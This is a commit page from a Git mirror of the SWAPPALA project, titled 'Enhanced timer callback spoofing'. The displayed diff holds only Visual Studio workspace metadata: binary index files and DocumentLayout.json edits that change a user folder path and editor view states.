admin/oldboy21-SWAPPALA
1
0
Fork 0
mirror of https://github.com/oldboy21/SWAPPALA synced 2026-06-08 16:30:29 +00:00
Code Issues Packages Projects Releases Wiki Activity

Enhanced timer callback spoofing

Browse Source
This commit is contained in:
Vincenzo Santucci
2025-01-05 22:12:37 +01:00
parent 40346b3a28
commit 644b8a813a
32 changed files with 171 additions and 186 deletions
Download Patch File Download Diff File Expand all files Collapse all files
SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/CodeChunks.db
BIN
View File
Binary file not shown.
SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/SemanticSymbols.db
BIN
View File
Binary file not shown.
SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/SemanticSymbols.db-shm
BIN
View File
Binary file not shown.
SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/SemanticSymbols.db-wal
BIN
View File
Binary file not shown.
SWAPPALA/.vs/SWAPPALA/FileContentIndex/2c04c157-5e87-4e86-aff3-59c13d0dae97.vsidx
BIN
View File
Binary file not shown.
SWAPPALA/.vs/SWAPPALA/FileContentIndex/b3b5ba94-22a0-4956-ae09-296bb1136f28.vsidx
BIN
View File
Binary file not shown.
SWAPPALA/.vs/SWAPPALA/FileContentIndex/af928073-e964-4470-8806-45710c374aeb.vsidx → SWAPPALA/.vs/SWAPPALA/FileContentIndex/b6141abb-79e1-48fe-9936-cab837553361.vsidx
View File
SWAPPALA/.vs/SWAPPALA/v17/.suo
BIN
View File
Binary file not shown.
SWAPPALA/.vs/SWAPPALA/v17/Browse.VC.db
BIN
View File
Binary file not shown.
SWAPPALA/.vs/SWAPPALA/v17/DocumentLayout.backup.json
+31 -31
View File
@@ -1,41 +1,41 @@
{
"Version": 1,
"WorkspaceRootPath": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\",
"WorkspaceRootPath": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\",
"Documents": [
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:SWAPPALA.c||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
},
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\swappala.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\swappala.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:swappala.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
},
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\headers.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\headers.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:headers.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
},
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\HBP.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\HBP.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:HBP.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
},
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:handlesenum.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
},
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm||{8B382828-6202-11D1-8870-0000F87579D2}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm||{8B382828-6202-11D1-8870-0000F87579D2}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:syscalls.asm||{8B382828-6202-11D1-8870-0000F87579D2}"
},
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\Syscalls.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\Syscalls.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:Syscalls.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
},
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\misc.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\misc.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:misc.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
},
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\globals.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\globals.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:globals.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
}
],
@@ -52,11 +52,11 @@
"$type": "Document",
"DocumentIndex": 1,
"Title": "swappala.h",
"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\swappala.h",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\swappala.h",
"RelativeDocumentMoniker": "swappala.h",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\swappala.h",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\swappala.h",
"RelativeToolTip": "swappala.h",
"ViewState": "AgIAAAAAAAAAAAAAAAAAAE8CAAA3AAAAAAAAAA==",
"ViewState": "AgIAABcCAAAAAAAAAAAQwGcCAAAJAAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|",
"WhenOpened": "2024-05-27T16:00:30.889Z",
"EditorCaption": ""
@@ -65,9 +65,9 @@
"$type": "Document",
"DocumentIndex": 7,
"Title": "misc.h",
"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\misc.h",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\misc.h",
"RelativeDocumentMoniker": "misc.h",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\misc.h",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\misc.h",
"RelativeToolTip": "misc.h",
"ViewState": "AQIAADoAAAAAAAAAAAAuwFMAAAABAAAA",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|",
@@ -77,9 +77,9 @@
"$type": "Document",
"DocumentIndex": 3,
"Title": "HBP.h",
"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\HBP.h",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\HBP.h",
"RelativeDocumentMoniker": "HBP.h",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\HBP.h",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\HBP.h",
"RelativeToolTip": "HBP.h",
"ViewState": "AgIAAGwAAAAAAAAAAAAAAC0AAAAAAAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|",
@@ -89,9 +89,9 @@
"$type": "Document",
"DocumentIndex": 6,
"Title": "syscalls.h",
"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.h",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.h",
"RelativeDocumentMoniker": "syscalls.h",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.h",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.h",
"RelativeToolTip": "syscalls.h",
"ViewState": "AQIAABYBAAAAAAAAAAAqwCkBAAAbAAAA",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|",
@@ -101,11 +101,11 @@
"$type": "Document",
"DocumentIndex": 0,
"Title": "SWAPPALA.c",
"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c",
"RelativeDocumentMoniker": "SWAPPALA.c",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c",
"RelativeToolTip": "SWAPPALA.c",
"ViewState": "AgIAAHwAAAAAAAAAAAAcwJIAAAAfAAAAAAAAAA==",
"ViewState": "AgIAAFYAAAAAAAAAAAAkwHcAAAAWAAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000423|",
"WhenOpened": "2024-05-27T15:40:42.524Z",
"EditorCaption": ""
@@ -114,11 +114,11 @@
"$type": "Document",
"DocumentIndex": 2,
"Title": "headers.h",
"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\headers.h",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\headers.h",
"RelativeDocumentMoniker": "headers.h",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\headers.h",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\headers.h",
"RelativeToolTip": "headers.h",
"ViewState": "AgIAAAAAAAAAAAAAAAAAAAUAAAAAAAAAAAAAAA==",
"ViewState": "AgIAAGABAAAAAAAAAAAkwHUBAAAPAAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|",
"WhenOpened": "2024-05-27T15:59:17.84Z",
"EditorCaption": ""
@@ -127,9 +127,9 @@
"$type": "Document",
"DocumentIndex": 8,
"Title": "globals.h",
"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\globals.h",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\globals.h",
"RelativeDocumentMoniker": "globals.h",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\globals.h",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\globals.h",
"RelativeToolTip": "globals.h",
"ViewState": "AQIAAAAAAAAAAAAAAAAAAAQAAAAAAAAA",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|",
@@ -139,9 +139,9 @@
"$type": "Document",
"DocumentIndex": 4,
"Title": "handlesenum.h",
"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h",
"RelativeDocumentMoniker": "handlesenum.h",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h",
"RelativeToolTip": "handlesenum.h",
"ViewState": "AgIAAMkAAAAAAAAAAAAAAAgAAAAYAAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|",
@@ -151,9 +151,9 @@
"$type": "Document",
"DocumentIndex": 5,
"Title": "syscalls.asm",
"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm",
"RelativeDocumentMoniker": "syscalls.asm",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm",
"RelativeToolTip": "syscalls.asm",
"ViewState": "AQIAAD4AAAAAAAAAAAAWwEUAAAAAAAAA",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001001|",
SWAPPALA/.vs/SWAPPALA/v17/DocumentLayout.json
+31 -31
View File
@@ -1,41 +1,41 @@
{
"Version": 1,
"WorkspaceRootPath": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\",
"WorkspaceRootPath": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\",
"Documents": [
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:SWAPPALA.c||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
},
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\swappala.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\swappala.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:swappala.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
},
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\headers.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\headers.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:headers.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
},
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\HBP.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\HBP.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:HBP.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
},
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:handlesenum.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
},
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm||{8B382828-6202-11D1-8870-0000F87579D2}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm||{8B382828-6202-11D1-8870-0000F87579D2}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:syscalls.asm||{8B382828-6202-11D1-8870-0000F87579D2}"
},
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\Syscalls.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\Syscalls.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:Syscalls.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
},
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\misc.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\misc.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:misc.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
},
{
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\globals.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\globals.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:globals.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
}
],
@@ -52,11 +52,11 @@
"$type": "Document",
"DocumentIndex": 1,
"Title": "swappala.h",
"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\swappala.h",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\swappala.h",
"RelativeDocumentMoniker": "swappala.h",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\swappala.h",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\swappala.h",
"RelativeToolTip": "swappala.h",
"ViewState": "AgIAAAAAAAAAAAAAAAAAAE8CAAA3AAAAAAAAAA==",
"ViewState": "AgIAABcCAAAAAAAAAAAQwGcCAAAJAAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|",
"WhenOpened": "2024-05-27T16:00:30.889Z",
"EditorCaption": ""
@@ -65,9 +65,9 @@
"$type": "Document",
"DocumentIndex": 7,
"Title": "misc.h",
"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\misc.h",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\misc.h",
"RelativeDocumentMoniker": "misc.h",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\misc.h",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\misc.h",
"RelativeToolTip": "misc.h",
"ViewState": "AQIAADoAAAAAAAAAAAAuwFMAAAABAAAA",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|",
@@ -77,9 +77,9 @@
"$type": "Document",
"DocumentIndex": 3,
"Title": "HBP.h",
"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\HBP.h",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\HBP.h",
"RelativeDocumentMoniker": "HBP.h",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\HBP.h",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\HBP.h",
"RelativeToolTip": "HBP.h",
"ViewState": "AgIAAGwAAAAAAAAAAAAAAC0AAAAAAAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|",
@@ -89,9 +89,9 @@
"$type": "Document",
"DocumentIndex": 6,
"Title": "syscalls.h",
"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.h",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.h",
"RelativeDocumentMoniker": "syscalls.h",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.h",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.h",
"RelativeToolTip": "syscalls.h",
"ViewState": "AQIAABYBAAAAAAAAAAAqwCkBAAAbAAAA",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|",
@@ -101,11 +101,11 @@
"$type": "Document",
"DocumentIndex": 0,
"Title": "SWAPPALA.c",
"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c",
"RelativeDocumentMoniker": "SWAPPALA.c",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c",
"RelativeToolTip": "SWAPPALA.c",
"ViewState": "AgIAAKMAAAAAAAAAAAAcwIcAAAAJAAAAAAAAAA==",
"ViewState": "AgIAAHEAAAAAAAAAAAAkwHcAAAAWAAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000423|",
"WhenOpened": "2024-05-27T15:40:42.524Z",
"EditorCaption": ""
@@ -114,11 +114,11 @@
"$type": "Document",
"DocumentIndex": 2,
"Title": "headers.h",
"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\headers.h",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\headers.h",
"RelativeDocumentMoniker": "headers.h",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\headers.h",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\headers.h",
"RelativeToolTip": "headers.h",
"ViewState": "AgIAAAAAAAAAAAAAAAAAAAUAAAAAAAAAAAAAAA==",
"ViewState": "AgIAAGABAAAAAAAAAAAkwHUBAAAPAAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|",
"WhenOpened": "2024-05-27T15:59:17.84Z",
"EditorCaption": ""
@@ -127,9 +127,9 @@
"$type": "Document",
"DocumentIndex": 8,
"Title": "globals.h",
"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\globals.h",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\globals.h",
"RelativeDocumentMoniker": "globals.h",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\globals.h",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\globals.h",
"RelativeToolTip": "globals.h",
"ViewState": "AQIAAAAAAAAAAAAAAAAAAAQAAAAAAAAA",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|",
@@ -139,9 +139,9 @@
"$type": "Document",
"DocumentIndex": 4,
"Title": "handlesenum.h",
